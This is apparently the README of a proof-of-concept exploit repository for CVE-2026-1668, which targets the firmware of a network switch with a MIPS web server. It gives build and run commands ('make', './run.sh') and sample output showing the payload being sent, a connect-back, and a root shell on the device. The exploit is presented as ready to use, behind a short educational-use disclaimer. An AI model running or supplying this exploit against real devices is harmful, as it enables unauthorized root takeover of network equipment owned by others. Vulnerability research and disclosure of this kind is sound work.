tangrs/cve-2026-1668-pocProof-of-concept exploit for CVE-2026-1668.
This is a proof-of-concept exploit for CVE-2026-1668. It is intended purely for educational purposes only. Please do not attempt to exploit systems that you do not own or do not have explicit permission to exploit.
This proof-of-concept was developed against a firmware image with the following SHA256 hash: 4b862b8dd7fde44fa57a39b35b562f21878dd6abb8e92ccd9cdef571ed60d544.
Names of firmwares known to match that hash (non-exhaustive):
Earlier firmware versions are likely also vulnerable, but may require minor changes to the exploit payload.
Explanation of how the payload works can be found in this blog post.
A MIPS Linux GCC toolchain is required to build the payload. On Ubuntu 24.04, one can be installed with sudo apt install gcc-mips-linux-gnu.
$ make
This exploit must be run before the HTTP server has served its first request (i.e on a fresh boot).
$ ./run.sh
The script should drop you to a root shell. If not, the exploit has failed.
[*] Sending payload
HTTP/1.1 200 OK
Server: Web Switch
Connection: close
Content-Type: application/json
{"data":{"mByCtrl":0,"includePrivacyPolicy":0,"includeAutoCheck":1,"includeSshController":1},"errorcode":0,"success":true,"timeout":false}
[*] Connecting back to get a shell
/bin/sh: can't access tty; job control turned off
/etc #